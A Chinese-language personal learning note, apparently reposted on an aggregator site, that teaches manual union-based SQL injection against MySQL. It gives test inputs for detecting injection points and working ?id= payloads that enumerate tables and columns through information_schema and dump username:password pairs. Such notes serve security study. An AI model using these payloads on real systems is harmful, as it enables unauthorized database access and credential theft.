SQL注入笔记

Posted 777Sec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入笔记相关的知识,希望对你有一定的参考价值。


 个人学习笔记(一)


SQL注入

简述

通过把SQL语句插入到用户输入内容、Web表单、页面请求中的变量中,最终被服务器执行,达到欺骗服务器执行恶意的SQL命令的攻击方法。

手工注入

联合查询注入

不同的数据库,由于在SQL语法上的差异,SQL注入方法也由于差异。虽然每种数据库的手工注入方法有所差异,但是手工注入的思路一致。

手工注入思路:

1.确定是否存在注入,注入是字符型还是数字型2.确定注入点的列数3.确定显示的字段顺序4.获取当前的数据库5.获取数据库中的表名称6.获取数据库中的列名称7.获取数据

mysql数据库

一、确定是否存在注入,注入是字符型还是数字型

1. 数字型注入

构造测试 预期结果
1' 页面变化
1 and 1=1 页面不变化
1 and 1=2 页面变化
1+1 页面变化
3 -1 页面变化
1+0 页面不变化
1- 0 页面不变化
1 or 1=1 返回所有记录
1 or 1=2 返回原来相同的结果
1 or 2>1 返回所有记录
1 or 1>2 返回原来相同的结果
1 xor 1=1 页面发生变化
1 xor 1=2 页面不变化
URL编码

2. 字符型注入

构造测试 预期结果
a' 返回错误
a' and '1' = '1 页面不变化
a' and '1' = '2 页面变化
a' or '1' = '1 返回所有记录
a 'or '1' = '2 返回原来相同的结果
1'%2B' 页面不变化
1'%2Basdf 页面变化

3. 搜索型注入

构造测试 预期结果
' 返回错误
% 返回错误
&; 返回错误
返回错误
$ 返回错误
@ 返回错误
! 返回错误
# 返回错误
/ 返回错误
返回错误
[ 返回错误
] 返回错误
%' and 1=1 and '%'=' 返回正常
%' and 1=2 and '%'=' 返回错误
and 1=1 and '%'=' 返回错误

二、确定注入点的列数

联合查询使用的是union select语句,union select语句左右两边的列数必须相等,则必须知道注入点查询的列数。
order by 语句用于根据指定的列对结果集进行排序,如果没有那一列,则会报错。
注释符: #,%23,--+,%00,/*
方法: '1 order by  3--+ (3为列数)

?id=1' order by 3--+ (返回正常,说明存在3列)
?id=1' order by 4--+ (返回正常,说明存在4列)
SQL注入笔记(一)

三、确定显示的字段顺序

确定字段在页面上的显示位(是否有显示位)
方法: ' and 1=2 union select 1,2,3,4#

?id=1' and '1' = '2' union select 1,2,3--+ (显示位2,3列)
SQL注入笔记(一)

四、获取当前的数据库

替换掉显示位上的数字,就可以在前端页面显示出来
方法: ' and 1=2 union select 1,2,3,database()#

?id=1' and '1' = '2' union select 1,2,database()--+
SQL注入笔记(一)

@@basedir 查询数据库安装路径@@datadir 查询数据库所在目录version() 查询数据库的版本user() 查询当前数据库的使用用户database() 当前使用数据库的名字

五、获取数据库中的表名称

在Mysql中,存在一个全局的数据库information_schema information_schema数据库中的tables表提供关于数据库中的表的信息(包括视图)
方法: ' and 1=2 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

?id=1' and '1' = '2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
SQL注入笔记(一)

六、获取数据库中的列名称

information_schema数据库中的columns表提供关于数据库中所有表的列信息(包括视图)
方法: ' and 1=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='表名'#

?id=1' and '1' = '2' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

七、获取数据

方法: ' and 1=2 union select 1,2,3,concat_ws(列名1,0x3a,列名2) from '表名'#

?id=1' and '1' = '2' union select 1,2,group_concat(username,0x3a,password) from users--+)

0x3a:0x是十六进制的标志,3a是十进制的58,是ascii中的':',用以分割password和username

mysql字符连接函数,将多个字符串连接成一个字符串。

concat(str1, str2,...)concat_ws(分隔符, str1, str2, ...)group_concat(str1,分隔符十六进制,str2 )

以上是关于SQL注入笔记的主要内容,如果未能解决你的问题,请参考以下文章

PHP代码审计笔记--SQL注入

PHP代码审计笔记--SQL注入

(2020上半年第40天(代码审计-SQL注入))小迪网络安全笔记

(2020上半年第40天(代码审计-SQL注入))小迪网络安全笔记

SQL注入笔记宽字节注入

sql注入攻击与防御第二版读书笔记二——SQL注入测试